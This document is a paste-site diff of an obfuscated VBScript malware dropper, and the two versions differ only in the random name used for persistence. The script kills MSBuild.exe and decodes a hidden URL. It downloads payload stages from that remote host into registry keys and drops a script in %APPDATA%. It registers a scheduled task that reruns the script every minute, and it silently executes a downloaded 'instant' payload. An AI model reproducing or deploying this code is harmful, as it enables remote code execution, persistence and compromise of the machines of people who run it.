Difference between
modified post 1151b by Anonymous on Thu 20th Feb 2025 00:32
original post f2cd by Anonymous on Thu 20th Feb 2025 00:27
Download diff
Show old version | new version | both versions

Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")

1	1		Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
2	2		Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'MSBuild.exe'")
3	3
4	4		For Each objProcess In colProcessList
5	5		objProcess.Terminate
6	6		Next
7	7
8	8		Function BTRK(HexData)
9	9		Dim QRSP, WNKY, FJTX, OPLR
10	10		QRSP = ""
11	11		For WNKY = 1 To Len(HexData) Step 2
12	12		FJTX = Mid(HexData, WNKY, 2)
13	13		OPLR = Chr(CLng("&H" & FJTX))
14	14		QRSP = QRSP & OPLR
15	15		Next
16	16		BTRK = QRSP
17	17		End Function
18	18
19	19		Function KLNV()
20	20		On Error Resume Next
21	21		Dim CXWT, LHVP, BKZM
22	22		Set CXWT = CreateObject("WScript.Shell")
23	23		LHVP = CXWT.RegRead(BTRK(PGZY("w1")))
24	24		BKZM = CXWT.RegRead(BTRK(PGZY("w2")))
25	25		KLNV = (LHVP = 2 And BKZM = 0)
26	26		Set CXWT = Nothing
27	27		End Function
28	28
29	29		Sub MTXZ(FVLP, YNKR)
30	30		Dim XPJM
31	31		Set XPJM = CreateObject("WScript.Shell")
32		-	XPJM.RegWrite "HKCU\Software\nhRJoZfYpvbMEZs\" & FVLP, YNKR, "REG_SZ"
	32	+	XPJM.RegWrite "HKCU\Software\f4sd85f45sdf47sdf45sdf\" & FVLP, YNKR, "REG_SZ"
33	33		Set XPJM = Nothing
34	34		End Sub
35	35
36	36		Function PGZY(RJYL)
37	37		On Error Resume Next
38	38		Dim BQLF, TKSM
39	39		TKSM = BTRK(BTRK(BTRK("3336333833373334333733343337333033333631333236363332363633333334333333353332363533333331333333333333333833323635333333313333333633323635333333353333333733323636333333313333333533333330333333313333333233333330333333323333333533323636"))) & RJYL
40	40		Set BQLF = CreateObject("WinHttp.WinHttpRequest.5.1")
41	41		BQLF.Open "GET", TKSM, False
42	42		BQLF.Send
43	43		If BQLF.Status = 200 Then
44	44		PGZY = BQLF.ResponseText
45	45		Else
46	46		PGZY = ""
47	47		End If
48	48		Set BQLF = Nothing
49	49		End Function
50	50
51	51
52	52		Sub HQBL(ZXPM)
53	53		Dim KDVG, VBRJ
54	54		Set KDVG = CreateObject("Scripting.FileSystemObject")
55		-	VBRJ = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\nhRJoZfYpvbMEZs.vbs"
	55	+	VBRJ = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\f4sd85f45sdf47sdf45sdf.vbs"
56	56		With KDVG.CreateTextFile(VBRJ, True)
57	57		.Write ZXPM
58	58		.Close
59	59		End With
60	60		Set KDVG = Nothing
61	61		End Sub
62	62
63	63		Sub YTFD()
64	64		On Error Resume Next
65	65		Dim KDRL, LFXQ, JNVZ
66	66		Set KDRL = CreateObject("Schedule.Service")
67	67		KDRL.Connect
68	68		Set LFXQ = KDRL.NewTask(0)
69	69		With LFXQ.Triggers.Create(1)
70	70		.StartBoundary = "2024-08-16T00:00:00"
71	71		.Repetition.Interval = "PT1M"
72	72		End With
73	73		With LFXQ.Settings
74	74		.DisallowStartIfOnBatteries = False
75	75		.StopIfGoingOnBatteries = False
76	76		.AllowHardTerminate = False
77	77		End With
78		-	LFXQ.Actions.Create(0).Path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\nhRJoZfYpvbMEZs.vbs"
	78	+	LFXQ.Actions.Create(0).Path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\f4sd85f45sdf47sdf45sdf.vbs"
79	79		Set JNVZ = KDRL.GetFolder("\")
80		-	JNVZ.RegisterTaskDefinition "nhRJoZfYpvbMEZs", LFXQ, 6, , , 3
	80	+	JNVZ.RegisterTaskDefinition "f4sd85f45sdf47sdf45sdf", LFXQ, 6, , , 3
81	81		Set KDRL = Nothing
82	82		End Sub
83	83
84	84		Sub XWCB(JNLM)
85	85		Dim DFVR, RJYQ, PKXT, QKTR, HGFC
86	86		DFVR = Len(JNLM)
87	87		HGFC = 1
88	88		For RJYQ = 1 To DFVR Step 20000
89	89		PKXT = Mid(JNLM, RJYQ, 20000)
90	90		QKTR = "\donn\data" & HGFC
91	91		MTXZ QKTR, PKXT
92	92		HGFC = HGFC + 1
93	93		Next
94	94		End Sub
95	95
96	96		Sub ZMCL()
97		-	MTXZ "Path", "nhRJoZfYpvbMEZs"
	97	+	MTXZ "Path", "f4sd85f45sdf47sdf45sdf"
98	98		MTXZ "in", "0"
99	99		MTXZ "i", BTRK("4D534275696C642E657865")
100	100		MTXZ "s", BTRK(PGZY("s"))
101		-	MTXZ "v", Replace(BTRK(PGZY("v")), "\|path\|", "nhRJoZfYpvbMEZs")
	101	+	MTXZ "v", Replace(BTRK(PGZY("v")), "\|path\|", "f4sd85f45sdf47sdf45sdf")
102	102		MTXZ "r", PGZY("r")
103	103		MTXZ "cn", BTRK(PGZY("cn"))
104		-	HQBL Replace(BTRK(PGZY("file")), "\|path\|", "nhRJoZfYpvbMEZs")
	104	+	HQBL Replace(BTRK(PGZY("file")), "\|path\|", "f4sd85f45sdf47sdf45sdf")
105	105		XWCB PGZY("devil.txt")
106	106		YTFD()
107	107		If KLNV() Then
108	108		Dim WshShell
109	109		Set WshShell = CreateObject("WScript.Shell")
110	110
111	111		Dim InstantPath
112		-	InstantPath = Replace(BTRK(PGZY("instant")), "\|path\|", "nhRJoZfYpvbMEZs")
	112	+	InstantPath = Replace(BTRK(PGZY("instant")), "\|path\|", "f4sd85f45sdf47sdf45sdf")
113	113
114	114		MTXZ "instant", InstantPath
115	115		WshShell.Run InstantPath, 0
116	116		MTXZ "in", "1"
117	117
118	118		Set WshShell = Nothing
119	119		End If
120	120
121	121
122	122		End Sub
123	123
124	124		ZMCL()